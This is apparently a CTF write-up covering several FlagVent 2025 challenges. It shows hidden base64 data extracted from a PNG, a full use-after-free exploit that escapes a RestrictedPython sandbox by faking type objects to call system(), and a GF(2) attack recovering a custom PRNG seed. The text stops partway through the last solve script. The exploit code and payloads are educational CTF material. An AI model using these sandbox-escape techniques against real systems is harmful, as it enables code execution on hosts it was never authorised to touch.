-rwxr-xr-x. 1 www-data www-data 663 Dec 7 21:25 xls.png
-rwxr-xr-x. 1 www-data www-data 386 Dec 7 21:25 zip.png
I can hash the files from GitHub, and save those into a file on the NAS:
www-data@web:/var/www/web/jquery/jqueryFileTree/images$ echo "fc517da02d6a64a68e5fea9a5de472f1 application.png
> c65fadae5a0fc27f401f1a00e66f518f code.png
> 783f5b06082bf73e9d1eaf79d838162f css.png
> 03e2b564224bfb58ff20904bda244043 db.png
> fcd5512c951865b02be8551c4d799217 directory-lock.png
> fbd3929a893b147ae0940d48d533e023 directory.png
> 38af291953d5b90b0aee30dd0d2126a4 doc.png
> f822fb1349f527ef282750670b893674 file-lock.png
> a3112ba7e266938321394347e2a6e107 file.png
> 5ad12582e3ca901894737c3dd44a5eb2 film.png
> 132a505684e7b7b91f50ea29c072112b flash.png
> bf30d89d69dddfbd8e5f805a199c407f folder_open.png
> d25541e08a5f57c04e3ecfddbcf7f82e from_target.txt
> 12ace1a918403049a6d2fc152f53baec html.png
> ac467ef8defc620b6b5eb80d2047bcb7 java.png
> 73c25b185fb78cc690675cd4a181ee0b linux.png
> bd2244ac282a5ada48b0d79cacc59426 music.png
> 5ee15843554004d12736f0404f8d443a pdf.png
> 48cda2a2a54a31f7a666547c862c12e7 php.png
> d2040c34ba1ffd8fa5b72ab37be11eca picture.png
> 8c366c11adee3cf2988614df4c96782b ppt.png
> 787a96924e9b114e75f48b540ff480a2 psd.png
> 661505d2efc05b2347492e4949f564d5 ruby.png
> 13ad2158a4889c26a851f99b261e4c5c script.png
> 9a8269421303631316be4ab5e34870e1 spinner.gif
> 0da66bdb013f9a9d12ce7219e642bc25 txt.png
> 7363cb7630d1d4b441183345fd15ae62 xls.png
> 2eba6780fc7d3663bc44808480c6bd8a zip.png" > md5s
Now md5sum will show any files that aren’t here:
www-data@web:/var/www/web/jquery/jqueryFileTree/images$ md5sum -c md5s
application.png: OK
code.png: OK
css.png: OK
db.png: OK
md5sum: directory-lock.png: No such file or directory
directory-lock.png: FAILED open or read
directory.png: OK
doc.png: OK
md5sum: file-lock.png: No such file or directory
file-lock.png: FAILED open or read
file.png: OK
film.png: OK
flash.png: OK
folder_open.png: OK
md5sum: from_target.txt: No such file or directory
from_target.txt: FAILED open or read
html.png: OK
java.png: OK
linux.png: OK
music.png: OK
pdf.png: OK
php.png: OK
picture.png: FAILED
ppt.png: OK
psd.png: OK
ruby.png: OK
script.png: OK
spinner.gif: OK
txt.png: OK
xls.png: OK
zip.png: OK
md5sum: WARNING: 3 listed files could not be read
md5sum: WARNING: 1 computed checksum did NOT match
Three files are present on Santa’s old NAS that aren’t present in the repo. More interestingly, there’s one file that failed the integrity check, picture.png.
I can download these files. exiftool shows a warning for picture.png:
oxdf@hacky$ exiftool picture.png
ExifTool Version Number : 12.76
File Name : picture.png
Directory : .
File Size : 663 bytes
File Modification Date/Time : 2025:12:07 21:25:26+00:00
File Access Date/Time : 2025:12:21 22:34:19+00:00
File Inode Change Date/Time : 2025:12:21 22:34:05+00:00
File Permissions : -rwxrwx---
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 16
Image Height : 16
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Gamma : 2.2222
Software : Adobe ImageReady
Warning : [minor] Trailer data after PNG IEND chunk
Image Size : 16x16
Megapixels : 0.000256
“Trailer data after PNG IEND chunk”. Looking at the end of the file, there’s some base64-encoded data:
oxdf@hacky$ xxd picture.png | tail
00000200: c345 e6a3 a42f 99e7 3ec6 0072 455e 7d5e .E.../..>..rE^}^
00000210: c5e7 556c 6dfa 8a3c 0e98 9825 d244 bb95 ..Ulm..<...%.D..
00000220: 7b63 0f40 e42f 2a9c ef4b 8f9d 2b88 2309 {c.@./*..K..+.#.
00000230: 3d40 2996 77ef 571a 7385 0f33 ff33 9c71 =@).w.W.s..3.3.q
00000240: 0489 e12d 805c 779c ff00 066f da93 af15 ...-.\w....o....
00000250: c4bf 0000 0000 4945 4e44 ae42 6082 5356 ......IEND.B`.SV
00000260: 704d 5245 564f 5444 4e4e 546c 5649 5255 pMREVOTDNNTlVIRU
00000270: 314b 566b 3953 5631 524a 546b 7333 5456 1KVk9SV1RJTks3TV
00000280: 6c5a 5631 6c4e 4d6a 6450 556c 7045 5230 lZV1lNMjdPUlpER0
00000290: 307a 4e51 3d3d 0a 0zNQ==.
It decodes to a string of all caps and digits:
oxdf@hacky$ strings picture.png | grep SVpM | base64 -d
IZLDENL3MNUHEMJVORWTINK7MYYWYM27ORZDGM35
Taking a guess that it might be base32 decodes it:
oxdf@hacky$ strings picture.png | grep SVpM | base64 -d | base32 -d
FV25{chr15tm45_f1l3_tr33}
Flag: FV25{chr15tm45_f1l3_tr33}
FV25.11
Challenge
Surely respy will protect us against off by one, right?
hint: using both |
|
| Categories: |
|
| Level: | hard |
| Author: | xtea418 |
| Attachments: |
📦 funny-snek.tar.gz
|
| Spawnable Instance: |
|
The archive has the code for a Docker container running a Python program with custom libraries:
oxdf@hacky$ tar tf funny-snek.tar.gz
funny-snek/
funny-snek/Dockerfile
funny-snek/libpython3.13.so.1.0.debug
funny-snek/python3.13
funny-snek/compose.yaml
funny-snek/mod.so
funny-snek/setup.sh
funny-snek/.clangd
funny-snek/libm.so.6
funny-snek/.gitignore
funny-snek/README.md
funny-snek/main.py
funny-snek/libc.so.6
funny-snek/ld-linux-x86-64.so.2
funny-snek/ld-linux-x86-64.so.2.debug
funny-snek/libm.so.6.debug
funny-snek/flag.txt
funny-snek/solve.py
funny-snek/libc.so.6.debug
funny-snek/mod.c
funny-snek/python3.13.debug
funny-snek/Makefile
funny-snek/libpython3.13.so.1.0
Connecting to the port just hangs:
oxdf@hacky$ ncat --ssl 0fc4a139-9286-4ef6-9c4f-173989dabfe2.challs.flagvent.org 31337
Reversing
main.py
The server reads Python code line by line until it sees # EOF, then executes it in a RestrictedPython sandbox:
import mod
from RestrictedPython import compile_restricted, safe_globals
exec_globals = {
**safe_globals,
"bytearray": bytearray,
"mod": mod,
}
code = ""
while (line := input()) != "# EOF":
code += line + "\n"
code = compile_restricted(code, '<string>', 'exec')
exec(code, exec_globals, exec_loc)
By limiting the globals, the sandbox restricts what the executed code can access. The code only has access to what’s explicitly provided: safe_globals (a limited set of builtins that includes very basic things like bytes, int, id, str, but excludes print, open, eval, exec, __import__, etc.), plus bytearray and the custom mod module.
>>> from RestrictedPython import safe_globals
>>> safe_globals
{'__builtins__': {'__build_class__': <built-in function __build_class__>, 'None': None, 'False': False, 'True': True, 'abs': <built-in function abs>, 'bool': <class 'bool'>, 'bytes': <class 'bytes'>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'complex': <class 'complex'>, 'divmod': <built-in function divmod>, 'float': <class 'float'>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'int': <class 'int'>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'len': <built-in function len>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'range': <class 'range'>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'slice': <class 'slice'>, 'sorted': <built-in function sorted>, 'str': <class 'str'>, 'tuple': <class 'tuple'>, 'zip': <class 'zip'>, 'ArithmeticError': <class 'ArithmeticError'>, 'AssertionError': <class 'AssertionError'>, 'AttributeError': <class 'AttributeError'>, 'BaseException': <class 'BaseException'>, 'BufferError': <class 'BufferError'>, 'BytesWarning': <class 'BytesWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'EOFError': <class 'EOFError'>, 'EnvironmentError': <class 'OSError'>, 'Exception': <class 'Exception'>, 'FloatingPointError': <class 'FloatingPointError'>, 'FutureWarning': <class 'FutureWarning'>, 'GeneratorExit': <class 'GeneratorExit'>, 'IOError': <class 'OSError'>, 'ImportError': <class 'ImportError'>, 'ImportWarning': <class 'ImportWarning'>, 'IndentationError': <class 'IndentationError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'LookupError': <class 'LookupError'>, 'MemoryError': <class 'MemoryError'>, 'NameError': <class 'NameError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'OSError': <class 'OSError'>, 'OverflowError': <class 'OverflowError'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'ReferenceError': <class 'ReferenceError'>, 'RuntimeError': <class 'RuntimeError'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'StopIteration': <class 'StopIteration'>, 'SyntaxError': <class 'SyntaxError'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'SystemError': <class 'SystemError'>, 'SystemExit': <class 'SystemExit'>, 'TabError': <class 'TabError'>, 'TypeError': <class 'TypeError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'UserWarning': <class 'UserWarning'>, 'ValueError': <class 'ValueError'>, 'Warning': <class 'Warning'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'setattr': <function guarded_setattr at 0x792925cd1940>, 'delattr': <function guarded_delattr at 0x792925cd1d00>, '_getattr_': <function safer_getattr at 0x792925cd1da0>}}
mod
The custom module mod.so exposes a single function (from the nm man page uppercase letters are externally available, T means in the text section, U is from another library, and B is from the BSS data section, typically uninitialized data):
oxdf@hacky$ nm -D funny-snek/mod.so
0000000000004130 B abused
w __cxa_finalize@GLIBC_2.2.5
w __gmon_start__
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
U PyArg_ParseTuple
U PyErr_NewException
U PyErr_SetString
U PyExc_ImportError
00000000000012c0 T PyInit_mod
U PyModule_AddObjectRef
U PyModuleDef_Init
U _Py_NoneStruct
U __stack_chk_fail@GLIBC_2.4
The source for mod.so, mod.c, shows an interesting function mod_funny:
static PyObject *mod_funny(PyObject *self, PyObject *args) {
PyObject *obj;
if (!PyArg_ParseTuple(args, "O", &obj))
return NULL;
if (abused) {
PyErr_SetString(ModError, "git gud");
return NULL;
}
obj->ob_refcnt--; // OFF BY ONE: decrements refcount
abused = 1; // Can only be called once
Py_INCREF(Py_None);
return Py_None;
}
mod.funny(obj) decrements an object’s reference count by 1 without any validation, but can only be called once. After the first call, it will throw an error.
RestrictedPython Constraints
RestrictedPython blocks many operations that would normally be available:
forloops (requires_getiter_)- Bracket indexing
obj[i](requires_getitem_) print()(requires_print_)+=operator (requires_inplacevar_)
However, some useful operations are still available:
b = bytes(victim) # Convert bytearray to bytes
val = int.from_bytes(b, 'little') # Convert to integer
victim.clear() # Clear existing data
victim.extend(b"payload") # Write new data
addr = id(obj) # Get object's memory address
Python Object Layout
To exploit this use after free (UAF) vulnerability, I’ll need to understand how Python objects are laid out, specially Python bytes strings and a bytearray.
Python bytes are immutable and the data is stored inline:
Offset Field
0 ob_refcnt
8 ob_type (pointer to PyBytes_Type)
16 ob_size
24 ob_shash (cached hash)
32 ob_sval[] (inline data - INSIDE the object)
A bytearray is mutable, and the data is stored separately with a pointer:
Offset Field
0 ob_refcnt
8 ob_type (pointer to PyByteArray_Type)
16 ob_size
24 ob_alloc
32 ob_bytes (POINTER to separate data buffer)
40 ob_start
48 ob_exports
The key difference: bytes stores data inline after the header, while bytearray stores a pointer to a separate data buffer.
Exploit
Use-After-Free
The exploit uses the size difference between bytes and bytearray to create an overlap:
bytes(600)allocates 632 bytes total (32-byte header + 600 data inline)bytearray(632)has a 56-byte header and a separate 632-byte data buffer
If I free a bytes(600) object and immediately allocate bytearray(632), the bytearray’s DATA buffer lands where the bytes object was:
victim = bytes(600) # 632 bytes total
mod.funny(victim) # Decrement refcount, freed!
over = bytearray(632) # over's data buffer overlaps victim's memory
Now over’s data buffer occupies the same memory where victim lived. I can demonstrate this in a Python REPL:
oxdf@hacky$ docker build -t funny-snek funny-snek/
...[snip]...
oxdf@hacky$ docker run -it --entrypoint /bin/sh funny-snek
/chal # ./ld-linux-x86-64.so.2 --library-path /chal ./python3.13
Python 3.13.7 (main, Aug 15 2025, 12:34:02) [GCC 15.2.1 20250813] on linux
Type "help", "copyright", "credits" or "license" for more information.
warning: can't use pyrepl: libffi.so.8: cannot open shared object file: No such file or directory
>>> import mod
>>> victim = bytes(600)
>>> mod.funny(victim)
>>> over = bytearray(632)
>>> import struct
>>> hdr = struct.pack('<QQQq', 1, id(bytes), 8, -1) + b'HELLO!!!'
>>> over[:40] = hdr
>>> victim
b'HELLO!!!'
I’ll write back the bytes header so that I can access victim which I just overwrote via over.
Arbitrary Read Primitive
If instead of writing a header for bytes, I write a header for bytearray, I’ll be able to read any address because I control the pointer. By crafting a fake bytearray header in over, I can make victim read from any address. To demonstrate, I’ll create an object to read:
>>> target = b'please read me'
>>> type(target)
<class 'bytes'>
Now I’ll create a fake header. id(target) gives the address of the header for that object.
>>> temp_hdr = struct.pack('<QQQQQQQ',
... 1, # ob_refcnt
... id(bytearray), # ob_type
... len(target) + 32, # ob_size including header
... 0x100, # ob_alloc
... id(target), # ob_bytes
... id(target), # ob_start
... 0 # ob_exports
... )
>>> over.clear()
>>> over.extend(temp_hdr)
>>> over.extend(b"\x00" * 576)
>>> victim[:32]
bytearray(b'\x01\x00\x00\x00\x00\x00\x00\x00\xa0\x01\xa4?\x1ev\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00<JP\xe6\xd9\xe0\xde\xa3')
>>> bytes(victim[32:])
b'please read me'
I’m able to read the memory at target without referencing target, just knowing the address.
Calculating system Address
To use JOP (jump-oriented programming), I’m going to need the address of system, which I can get from libpython’s GOT. First I need to calculate the libpython base address:
oxdf@hacky$ nm -D funny-snek/libpython3.13.so.1.0 | grep PyByteArray_Type
00000000004ed8e0 D PyByteArray_Type
That means I can calculate pyBase using:
pyBase = id(bytearray) - 0x4ed8e0
objdump can show the offset to system in the GOT within libpython:
oxdf@hacky$ objdump -R funny-snek/libpython3.13.so.1.0 | grep system
00000000004b20d0 R_X86_64_GLOB_DAT system@GLIBC_2.2.5
Now I can calculate the GOT address of system:
systemGot = pyBase + 0x4b20d0
Once I have that, I can use the arbitrary read above to read the actual address of system pointed at in the GOT.
JOP (Jump-Oriented Programming)
When Python calls len(obj), it follows the type’s function pointers:
len(obj) -> obj->ob_type->tp_as_sequence->sq_length(obj)
If I create a fake type where sq_length = system, then:
len(victim) -> system(victim)
Since victim points to over’s data buffer, if I put a command string at the start of that buffer, system() executes it.
To make this work, I need to build fake PyTypeObject and PySequenceMethods structures that victim will reference. These fake structures must be at known addresses, which is why I first leak over_data - the address of over’s data buffer. To get this, I use the arbitrary read to get the address of the over data buffer. I’ll use that to calculate where my fake structures will be in memory and set up the pointer chain.
I’ll find the offset for tp_as_sequence from the Python source:
typedef struct _typeobject {
PyObject_VAR_HEAD // 0-24 bytes
const char *tp_name; // +24
Py_ssize_t tp_basicsize; // +32
Py_ssize_t tp_itemsize; // +40
destructor tp_dealloc; // +48
Py_ssize_t tp_vectorcall_offset; // +56
getattrfunc tp_getattr; // +64
setattrfunc tp_setattr; // +72
PyAsyncMethods *tp_as_async; // +80
reprfunc tp_repr; // +88
PyNumberMethods *tp_as_number; // +96
PySequenceMethods *tp_as_sequence; // +104 <-- TARGET
// ...
} PyTypeObject;
And from abstract.h, sq_length is the first field in PySequenceMethods (offset 0).
Now I can build the memory layout in over’s data buffer (632 bytes total):
Offset 0-7: Command string (also serves as ob_refcnt)
Offset 8-15: ob_type -> points to fake_type_addr (over_data + 200)
Offset 16-55: Rest of fake bytearray header
Offset 56-199: Padding
Offset 200-399: Fake PyTypeObject (tp_as_sequence at +104 = over_data + 400)
Offset 400-407: Fake PySequenceMethods.sq_length = system address
Offset 408-631: Padding
When len(victim) is called, Python follows: victim->ob_type (offset 8, points to offset 200) → tp_as_sequence (+104 from there = offset 304, value points to offset 400) → sq_length (offset 400, contains system address) → calls system(victim) where victim starts with my command string.
There is an issue with the refcount being incremented. Python increments ob_refcnt when accessing an object. Since the command string is at offset 0 (same as ob_refcnt), the first byte gets incremented. That means I’ll need to put a value one less than desired in the first byte of my command string:
payload.extend(b"bat /f*\x00") # 'b' (0x62) becomes 'c' (0x63) = "cat /f*"
Final Exploit
Putting that all together, I’ll write the following code that will run in the restricted environment and access the flag:
pyBase = id(bytearray) - 0x4ed8e0
systemGot = pyBase + 0x4b20d0
victim = bytes(600)
mod.funny(victim)
over = bytearray(632)
over_addr = id(over)
# Leak over's data address
temp_hdr = (
(1).to_bytes(8, "little") +
id(bytearray).to_bytes(8, "little") +
(8).to_bytes(8, "little") +
(0x100).to_bytes(8, "little") +
(over_addr + 32).to_bytes(8, "little") +
(over_addr + 32).to_bytes(8, "little") +
(0).to_bytes(8, "little")
)
over.clear()
over.extend(temp_hdr)
over.extend(b"\x00" * 576)
over_data = int.from_bytes(bytes(victim), "little")
# Leak system()
sys_hdr = (
(1).to_bytes(8, "little") +
id(bytearray).to_bytes(8, "little") +
(8).to_bytes(8, "little") +
(0x100).to_bytes(8, "little") +
systemGot.to_bytes(8, "little") +
systemGot.to_bytes(8, "little") +
(0).to_bytes(8, "little")
)
over.clear()
over.extend(sys_hdr)
over.extend(b"\x00" * 576)
systemAddr = int.from_bytes(bytes(victim), "little")
# Build JOP payload
fake_type_addr = over_data + 200
fake_seq_addr = over_data + 400
payload = bytearray(632)
payload.clear()
payload.extend(b"bat /f*\x00") # Command (b->c after refcnt increment)
payload.extend(fake_type_addr.to_bytes(8, "little"))
payload.extend((8).to_bytes(8, "little"))
payload.extend((0x100).to_bytes(8, "little"))
payload.extend(over_data.to_bytes(8, "little"))
payload.extend(over_data.to_bytes(8, "little"))
payload.extend((0).to_bytes(8, "little"))
payload.extend(b"\x00" * 144)
payload.extend(b"\x00" * 104)
payload.extend(fake_seq_addr.to_bytes(8, "little"))
payload.extend(b"\x00" * 88)
payload.extend(systemAddr.to_bytes(8, "little"))
payload.extend(b"\x00" * 224)
over.clear()
over.extend(payload)
length = len(victim) # Triggers system("cat /f*")
This payload:
- Calculates
pyBaseandsystemGOT. - Creates
victimandover. - Gets the address of
over’s data. - Gets the address of
systemfrom the GOT. - Builds a JOP payload that will run
cat /f*
Now I make exploit.py that will read that payload and send it to the server:
from pwn import *
HOST = 'a531f12a-ec02-45c1-9b42-53568808d024.challs.flagvent.org'
with open('payload.py', 'r') as f:
code = f.read()
r = remote(HOST, 31337, ssl=True)
for line in code.strip().split('\n'):
r.sendline(line.encode())
r.sendline(b"# EOF")
print(r.recvall(timeout=5))
Running against remote returns the flag:
oxdf@hacky$ python jop_remote.py
[+] Opening connection to ... on port 31337: Done
[+] Receiving all data: Done
b'FV25{pwning_th3_pyth0n_gc_f0r_fun_4nd_pr0fit}\n'
Flag: FV25{pwning_th3_pyth0n_gc_f0r_fun_4nd_pr0fit}
FV25.14
Challenge
warmup chal |
|
| Categories: |
|
| Level: | hard |
| Author: | xtea418 |
| Attachments: |
📦 the-prng.tar.gz
|
| Spawnable Instance: |
|
The archive contains:
oxdf@hacky$ tar tf the-prng.tar.gz
the-prng/
the-prng/Dockerfile
the-prng/compose.yaml
the-prng/chal.py
chal.py
Main Section
The server code is in chal.py. The main section sets a timeout of 30 seconds, and then loops 256 times generating a random seed, seeding a custom pseudo-random number generator, leaking the first 256 bits, and then asking me to provide the seed:
if __name__ == "__main__":
import signal
signal.alarm(30)
for i in range(0x100):
scheed = os.urandom(30)
chal = RNG(scheed)
leek = chal.getrandbits(0x100)
print(f"{leek = :#x}")
try:
lmao = bytes.fromhex(input("gib scheed: "))
assert lmao == scheed
except:
exit("no")
print(os.environ.get("FLAG", "FV25{local_flag}"))
If I provide the wrong seed, it exits. Otherwise, after 256, it prints the flag.
RNG
The RNG class initializes an h instance using the seed, and then defines _next_block and _generate functions to handle getting a stream of bits:
class RNG:
def __init__(self, seed: bytes):
if not seed:
raise ValueError("no")
self._key = h(seed)
self._counter = 0
def _next_block(self):
ctr = self._counter.to_bytes(16, "big")
block = hmac.new(self._key, ctr, digestmod=hash256_new).digest()
self._counter += 1
return block
def _generate(self, nbytes):
out = bytearray()
while len(out) < nbytes:
out.extend(self._next_block())
return bytes(out[:nbytes])
def getrandbits(self, n):
nbytes = (n + 7) // 8
v = int.from_bytes(self._generate(nbytes), "big")
return v & ((1 << n) - 1)
def randrange(self, n):
k = (n - 1).bit_length()
while True:
r = self.getrandbits(k)
if r < n:
return r
def randint(self, a, b):
return a + self.randrange(b - a + 1)
getrandbits, randrange, and randint use _generate to get the desired format.
h is a function that generates a custom hash:
def h(b: bytes) -> bytes:
s0 = 0x9F12A3C64D78B2E1
s1 = 0x4C85E79A132FDB07
s2 = 0xB7D40E9C58A3F621
s3 = 0x21E6C8D4FA9037BB
M = 0xFFFFFFFFFFFFFFFF
msg = bytearray(b)
msg.append(0x80)
while (len(msg) % 32) != 24:
msg.append(0)
msg += (len(b) * 8).to_bytes(8, "little")
for i in range(0, len(msg), 32):
w0 = int.from_bytes(msg[i + 0 : i + 8], "little")
w1 = int.from_bytes(msg[i + 8 : i + 16], "little")
w2 = int.from_bytes(msg[i + 16 : i + 24], "little")
w3 = int.from_bytes(msg[i + 24 : i + 32], "little")
s0 ^= w0
s1 ^= w1
s2 ^= w2
s3 ^= w3
for i in range(5):
s0 ^= ((s1 << 13) & M) ^ (s2 >> 7)
s1 ^= ((s2 << 17) & M) ^ (s3 >> 9)
s2 ^= ((s3 << 29) & M) ^ (s0 >> 11)
s3 ^= ((s0 << 5) & M) ^ (s1 >> 3)
s0, s1, s2, s3 = s2 & M, s0 & M, s3 & M, s1 & M
for j in range(6):
s0 ^= ((s1 << 9) & M) ^ (s2 >> 7)
s1 ^= ((s2 << 7) & M) ^ (s3 >> 5)
s2 ^= ((s3 << 11) & M) ^ (s0 >> 13)
s3 ^= ((s0 << 3) & M) ^ (s1 >> 17)
s0, s1, s2, s3 = s3 & M, s2 & M, s1 & M, s0 & M
return (
(s0 & M).to_bytes(8, "little")
+ (s1 & M).to_bytes(8, "little")
+ (s2 & M).to_bytes(8, "little")
+ (s3 & M).to_bytes(8, "little")
)
There’s also a call to hash256_new, which uses H:
class H:
block_size = 64
digest_size = 32
def __init__(self, data=b""):
self._buf = bytearray()
if data:
self.update(data)
def update(self, data):
if not data:
return
self._buf.extend(data)
def copy(self):
c = H()
c._buf = bytearray(self._buf)
return c
def digest(self):
return h(self._buf)
def hexdigest(self):
return h(self._buf).hex()
def hash256_new(data=b""):
return H(data)
Linearity over GF(2)
Theory
Looking at the custom hash function h(), the only operations are:
- XOR (
^) - Bit shifts (
<<,>>) - Bit masking (
& M) - State permutation (reordering s0-s3)
There are no S-boxes, no modular addition, no multiplication. All of these operations are linear over GF(2) (the field with two elements where addition is XOR).
A function f is linear over GF(2) if f(a ⊕ b) = f(a) ⊕ f(b). Since XOR is GF(2) addition, bit shifts are linear transformations (moving bits to new positions), and composition of linear functions is linear, the entire hash function is a linear transformation.
Test
I can write a test to check this theory. I’ll copy h and H
import hmac
import os
def h(b: bytes) -> bytes:
...[snip]...
class H:
...[snip]...
def seed_to_output(seed):
key = h(seed)
ctr = (0).to_bytes(16, "big")
return int.from_bytes(
hmac.new(key, ctr, digestmod=lambda d=b"": H(d)).digest(), "little"
)
# Test linearity: f(a ⊕ b) ⊕ f(0) = f(a) ⊕ f(b)
f_zero = seed_to_output(bytes(30))
for i in range(10):
a = os.urandom(30)
b = os.urandom(30)
a_xor_b = bytes(x ^ y for x, y in zip(a, b))
f_a = seed_to_output(a)
f_b = seed_to_output(b)
f_a_xor_b = seed_to_output(a_xor_b)
lhs = f_a ^ f_b
rhs = f_a_xor_b ^ f_zero
print(f'Test {i+1}: {"PASS" if lhs == rhs else "FAIL"}')
For 10 runs, it gets two chunks of data, and uses them each as seeds to get random data. Then it XORs the two seeds, and uses that to get random data. This shows that the results are the same:
oxdf@hacky$ uv run test.py
Test 1: PASS
Test 2: PASS
Test 3: PASS
Test 4: PASS
Test 5: PASS
Test 6: PASS
Test 7: PASS
Test 8: PASS
Test 9: PASS
Test 10: PASS
Matrix Attack
Theory
Since the function is linear, I can represent it as a matrix equation over GF(2):
output = A · seed ⊕ bias
Where:
seedis a 240-bit vector (unknown)outputis a 256-bit vector (the leak)Ais a 256×240 matrix over GF(2)bias = f(0)is a constant 256-bit vector
To build the matrix, I use the standard basis vectors - setting each bit position in the seed one at a time. The solution has four functions.
build_matrix
build_matrix probes the function with basis vectors to build the linear transformation matrix:
- First computes
bias = f(0)- the output when the seed is all zeros - Then for each of the 240 bit positions in the seed, creates a “basis vector” (a seed with only that one bit set to 1)
- Computes
f(basis_vector) ^ biasto get the column - this isolates the pure linear contribution of that single bit (removing the constant offset) - Result: 240 columns, each a 256-bit integer showing how one input bit affects all 256 output bits
def build_matrix():
print("[*] Computing bias = f(0)...")
bias = seed_to_output(bytes(30))
print("[*] Building 256x240 matrix over GF(2)...")
columns = []
for bit_index in range(240):
byte_idx = bit_index // 8
bit_idx = bit_index % 8
# Create basis vector e_i
seed = bytearray(30)
seed[byte_idx] = 1 << bit_idx
# Column = f(e_i) ^ bias
output = seed_to_output(bytes(seed))
columns.append(output ^ bias)
return bias, columns
solve_gf2
solve_gf2 performs Gaussian elimination over GF(2) (the field where 1+1=0, i.e., all arithmetic is XOR):
- Builds an augmented matrix with 256 rows (one per output bit) and 241 columns (240 variable coefficients + 1 target bit)
- For each column, finds a “pivot” row that has a 1 in that position
- XORs the pivot row into all other rows that have a 1 in that column - this eliminates that variable from those equations
- After reaching reduced row echelon form (RREF), each pivot row directly gives one solution bit
- The solution bit for column
iequals the target column value in the corresponding pivot row
def solve_gf2(columns, target):
n_vars = 240
n_eqs = 256
rows = []
for eq in range(n_eqs):
row = 0
for var in range(n_vars):
if (columns[var] >> eq) & 1:
row |= (1 << var)
if (target >> eq) & 1:
row |= (1 << n_vars)
rows.append(row)
pivot_row = 0
pivot_cols = []
for col in range(n_vars):
found = False
for r in range(pivot_row, n_eqs):
if (rows[r] >> col) & 1:
rows[pivot_row], rows[r] = rows[r], rows[pivot_row]
found = True
break
if not found:
continue
pivot_cols.append(col)
for r in range(n_eqs):
if r != pivot_row and ((rows[r] >> col) & 1):
rows[r] ^= rows[pivot_row]
pivot_row += 1
solution = 0
for i, col in enumerate(pivot_cols):
if (rows[i] >> n_vars) & 1:
solution |= (1 << col)
return solution
int_to_seed
int_to_seed converts the 240-bit solution integer back to a 30-byte seed:
- Maps bit positions to byte positions: bit
igoes to bytei//8, bit positioni%8within that byte - Uses little-endian bit ordering within each byte
def int_to_seed(value: int) -> bytes:
"""Convert 240-bit integer to 30-byte seed"""
seed = bytearray(30)
for i in range(240):
if (value >> i) & 1:
seed[i // 8] |= (1 << (i % 8))
return bytes(seed)
recover_seed
recover_seed is the main entry point that ties everything together:
- XORs out the bias from the leak:
target = leak ^ bias(removes the constant offset so we have a pure linear equation) - Calls
solve_gf2()to find which combination of basis vector columns XORs to give the target - Converts the solution bits back to seed bytes
def recover_seed(leak: int, bias: int, columns: list) -> bytes:
"""Recover seed from leaked output using linear algebra"""
target = leak ^ bias
solution = solve_gf2(columns, target)
return int_to_seed(solution)
Final Solve Script
The final script takes all these parts and adds a main section that handles connecting to the server, getting the bytes, and sending back the seed.
# /// script
# requires-python = ">=3.10"
# dependencies = [
# "pwntools",
# ]
# ///
import hmac
from pwn import remote, context
context.log_level = 'info'
# ============================================================
# Challenge crypto primitives (copied from chal.py)
# ============================================================
def h(b: bytes) -> bytes:
"""Custom hash function - linear over GF(2)"""
s0 = 0x9F12A3C64D78B2E1
s1 = 0x4C85E79A132FDB07
s2 = 0xB7D40E9C58A3F621
s3 = 0x21E6C8D4FA9037BB
M = 0xFFFFFFFFFFFFFFFF
msg = bytearray(b)
msg.append(0x80)
while (len(msg) % 32) != 24:
msg.append(0)
msg += (len(b) * 8).to_bytes(8, "little")
for i in range(0, len(msg), 32):
w0 = int.from_bytes(msg[i + 0 : i + 8], "little")
w1 = int.from_bytes(msg[i + 8 : i + 16], "little")
w2 = int.from_bytes(msg[i + 16 : i + 24], "little")
w3 = int.from_bytes(msg[i + 24 : i + 32], "little")
s0 ^= w0
s1 ^= w1
s2 ^= w2
s3 ^= w3
for _ in range(5):
s0 ^= ((s1 << 13) & M) ^ (s2 >> 7)
s1 ^= ((s2 << 17) & M) ^ (s3 >> 9)
s2 ^= ((s3 << 29) & M) ^ (s0 >> 11)
s3 ^= ((s0 << 5) & M) ^ (s1 >> 3)
s0, s1, s2, s3 = s2 & M, s0 & M, s3 & M, s1 & M
for _ in range(6):
s0 ^= ((s1 << 9) & M) ^ (s2 >> 7)
s1 ^= ((s2 << 7) & M) ^ (s3 >> 5)
s2 ^= ((s3 << 11) & M) ^ (s0 >> 13)
s3 ^= ((s0 << 3) & M) ^ (s1 >> 17)
s0, s1, s2, s3 = s3 & M, s2 & M, s1 & M, s0 & M
return (
(s0 & M).to_bytes(8, "little")
+ (s1 & M).to_bytes(8, "little")
+ (s2 & M).to_bytes(8, "little")
+ (s3 & M).to_bytes(8, "little")
)
class H:
"""Hash wrapper for HMAC compatibility"""
block_size = 64
digest_size = 32
def __init__(self, data=b""):
self._buf = bytearray()
if data:
self._buf.extend(data)
def update(self, data):
self._buf.extend(data)
def copy(self):
c = H()
c._buf = bytearray(self._buf)
return c
def digest(self):
return h(self._buf)
def hash256_new(data=b""):
return H(data)
class RNG:
"""The challenge PRNG"""
def __init__(self, seed: bytes):
self._key = h(seed)
self._counter = 0
def _next_block(self):
